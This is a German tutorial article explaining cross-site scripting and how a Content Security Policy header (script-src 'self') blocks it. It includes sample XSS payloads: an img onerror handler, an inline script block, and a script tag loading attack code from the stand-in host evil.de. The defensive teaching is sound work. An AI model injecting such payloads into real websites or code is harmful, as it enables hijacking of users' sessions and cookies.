Web-Security: Mit Content Security Policy gegen Cross-Site Scripting, Teil 1
XSS-Schwachstellen sind nach wie vor ein Einfallstor fĂĽr zahlreiche Angriffe im Web. Eine Content Security Policy hilft bei der Abwehr.

(Bild: monticello/Shutterstock.com)
- Martina Kraus
Cross-Site Scripting (XSS) bleibt eine ernstzunehmende Bedrohung, obwohl die am häufigsten genutzten Frontend-Frameworks viele Sicherheitsfunktionen von Haus aus mitbringen. Frameworks wie React oder Angular bieten standardmäßig Mechanismen, um das Risiko zu minimieren, doch können unsachgemäße Implementierungen oder das Einbinden externer Bibliotheken Sicherheitslücken verursachen. Entwicklerinnen und Entwickler dürfen sich also nicht ausschließlich auf diese Tools verlassen, sondern müssen weiterhin sicherheitsbewusst programmieren und zusätzliche Verteidigungsmaßnahmen ergreifen, um XSS effektiv zu verhindern.
Angreifer und Angreiferinnen entdecken ständig neue Methoden, um XSS-Schwachstellen zu identifizieren und Schadcode in vertrauenswürdige Webseiten einzuschleusen. Wegen der anhaltenden Gefahr müssen Entwicklungs- und Sicherheitsteams regelmäßig ihre Best Practices aktualisieren und kontinuierlich fortschrittliche Schutzmechanismen wie die Content Security Policy (CSP) implementieren.
CSP spielt beim Schutz vor XSS eine zentrale Rolle, weil es Browsern präzise vorgibt, welche externen Inhalte sie laden dürfen. Dieser Artikel zeigt den Einsatz von CSP als Teil einer mehrschichtigen Sicherheitsstrategie, um XSS-Angriffe zu verhindern und die Webanwendung abzusichern.
Unbemerkter Schadcode mit Cross-Site Scripting
Cross-Site Scripting ist eine häufig auftretende Sicherheitslücke in Webanwendungen. Sie ermöglicht es, Schadcode – meist in Form von JavaScript – in die Seiten einer vertrauenswürdigen Website einzubetten. Beim Aufruf der Seite führt der Browser den eingeschleusten Code unbemerkt aus. Der Angriff basiert darauf, dass der Browser nicht zwischen legitimen Skripten vom Server und schädlichen Skripten der Angreifer unterscheiden kann.
Ein Angriff läuft typischerweise folgendermaßen ab:
- Identifizieren einer Schwachstelle: Der Angreifer sucht gezielt nach Möglichkeiten, um schädlichen Code in die Webanwendung einzuschleusen. Häufig geschieht dies über Eingabefelder beispielsweise für Kommentare, Benutzernamen oder Suchanfragen.
- Einschleusen von Code: Hat der Angreifer eine Schwachstelle entdeckt, fĂĽgt er den Schadcode in die Webanwendung ein. Das kann durch direkte Eingaben in Formulare oder indirekt ĂĽber Links erfolgen, die den Code in der URL enthalten und an nichtsahnende Nutzer geschickt werden.
- Ausführung des Schadcodes: Greift ein ahnungsloses Opfer auf die Seite zu, läuft der Schadcode in seinem Browser. Der Angreifer kann daraufhin unter anderem die angezeigten Inhalte ändern, den Browser auf eine bösartige Website umleiten oder Cookies abgreifen, um die Identität des Opfers anzunehmen.
Je nachdem, wo der Schadcode gespeichert und ausgefĂĽhrt wird, unterscheidet man zwischen serverseitigem XSS und clientseitigem XSS. Bei Ersterem wird der Schadcode auf dem Server gespeichert und jedem Benutzer angezeigt, der die betroffene Seite aufruft. Clientseitiges XSS ist ein Angriff ĂĽber Ă„nderungen am DOM (Document Object Model) der Seite im Browser des Opfers, ohne dass der Client die betroffenen Daten von einem Server empfangen muss.
Das folgende Beispiel geht davon aus, dass eine Webanwendung eine XSS-Schwachstelle enthält. Um eine solche Schwachstelle auszunutzen, kann die Angreiferin oder der Angreifer unterschiedliche Payloads verwenden. Folgender Codeausschnitt listet einige verschiedene Optionen auf:
//index.html
<!-- 1. Inline code -->
<img src="unknown.png" onerror="maliciousCode()">
<!-- 2. Code block -->
<script>executeBadAttack()</script>
<!-- 3. Remote code file -->
<script src="https://evil.de/attack.js"></script>
Content Security Policy als GegenmaĂźnahme
Die erste Version der Content Security Policy ist 2010 erschienen. Mozilla-Entwickler haben die Maßnahme in einem wissenschaftlichen Artikel ausführlich beschrieben. Sie haben darin erläutert, wie Entwickler Sicherheitsrichtlinien definieren können, um dem Browser genau mitzuteilen, welche Ressourcen eine Webanwendung laden darf.
Obwohl die Idee hinter CSP auf äußerst positive Resonanz stieß, zeigte sich, dass die Kontrolle über das Laden von Ressourcen in modernen Anwendungen komplexer ist als ursprünglich angenommen. Dennoch wird CSP kontinuierlich weiterentwickelt und bleibt damit eine wichtige Sicherheitsmaßnahme.
Eine zentrale Rolle moderner CSP-Richtlinien ist es, als zweite Verteidigungslinie gegen XSS-Schwachstellen zu dienen. Wirksam ist sie jedoch nur, wenn die Anwendung an erster Stelle die Nutzereingaben gründlich bereinigt. Angesichts der Tatsache, dass fast jede Webanwendung trotz guter Sicherheitsvorkehrungen irgendwann anfällig für XSS werden kann, stellt sich die Frage, wie die CSP-Richtlinie den Angreifer daran hindern kann, die Schwachstelle auszunutzen.
Blockieren der SkriptausfĂĽhrung mit CSP
Die Content Security Policy zielt darauf ab, verschiedene Angriffsvektoren zu unterbinden. Dazu setzt CSP strikte Einschränkungen bezüglich der Ausführung von Skriptcode durch. Der folgende Ausschnitt zeigt einen CSP-Header mit einer minimalen Konfiguration:
Content-Security-Policy: script-src 'self'
Eine CSP-Richtlinie besteht immer aus zwei Bestandteilen: den Direktiven und den zugehörigen Werten. Direktiven bestimmen, welche Arten von Ressourcen wie Skripte, Stylesheets, Bilder oder Frames von welchen Quellen geladen werden dürfen. Zu den Direktiven gehören script-src
wie im obigen Beispiel, style-src
, img-src
, und frame-src
. FĂĽr den Schutz vor JavaScript-Injection-Attacken ist die script-src-Direktive essenziell.
Jede Direktive kann einen oder mehrere Werte angeben, die festlegen woher Inhalte geladen werden dürfen. Quellen können URLs, Schlüsselwörter wie 'self'
(die eigene Domain) oder 'none'
(blockiert das Laden von Ressourcen dieser Art vollständig) sein.
Der Server fĂĽgt den CSP-Header in die HTTP-Response mit der HTML-Seite fĂĽr den Browser ein. Die Richtlinienkonfiguration script-src 'self'
teilt dem Browser mit, dass diese Seite nur Skripte ausfĂĽhren darf, die von ihrem eigenen Ursprung (Origin) kommen. Sie bestimmt zudem, dass es verboten ist, Inline-JavaScript-Code auf dieser HTML-Seite auszufĂĽhren.
(Bild:Â Martina Kraus)
Das Beispiel in Abbildung 1 zeigt eine Anwendung, die auf https://my-site (1) läuft. Mit dem gesetzten CSP-Header darf der Browser nur geladene JavaScript-Dateien ausführen, die von derselben Site https://my-site stammen (2). Auch wenn alles andere blockiert wird, schließt die Policy zusätzlich explizit die Ausführung der JavaScript-Datei https://evil.de/attack.js aus (3).
Was bedeutet das fĂĽr die oben gezeigten Angriffsvektoren?
Der erste Angriff ĂĽber <img src="unknown.png" onerror="maliciousCode()">
beruht darauf, JavaScript-Schadcode auszufĂĽhren, wenn der Browser ein Bild laden will, das nicht gefunden werden kann. Auch wenn der Code auf der Seite vorhanden ist, fĂĽhrt der Browser wegen der CSP-Regel script-src 'self'
keinen Inline-JavaScript-Code aus.
Das Blockieren der CodeausfĂĽhrung schĂĽtzt auch gegen den zweiten Angriffsvektor, der versucht mit <script>executeBadAttack()</script>
direkt bösartig eingeschleusten JavaScript-Code auszuführen.
SchlieĂźlich versucht der Angriff ĂĽber <script src="https://evil.de/attack.js"></script>
, eine JavaScript-Datei von https://evil.de zuladen. Da https://evil.de nicht der Origin der Anwendung entspricht, wird der Browser das Laden dieser Datei verweigern. CSP blockiert also vollständig die Ausführung von potenziell zweifelhaftem JavaScript-Code.
(Bild:Â Screenshot (Martina Kraus))
Das bedeutet leider auch, dass valider Inline-JavaScript-Code der Anwendung ebenfalls nicht ausgeführt wird. Da das häufig der Fall ist, sind die bisher gezeigten CSP-Regeln nicht praktikabel.
Hier kommt die 2016 Content Security Policy Level 2 ins Spiel. Sie zielt auf eine bessere Kompatibilität mit praktischen Anwendungen, ohne die Sicherheit zu beeinträchtigen. CSP Level 2 führt zwei neue Mechanismen ein: Hashes und Nonces.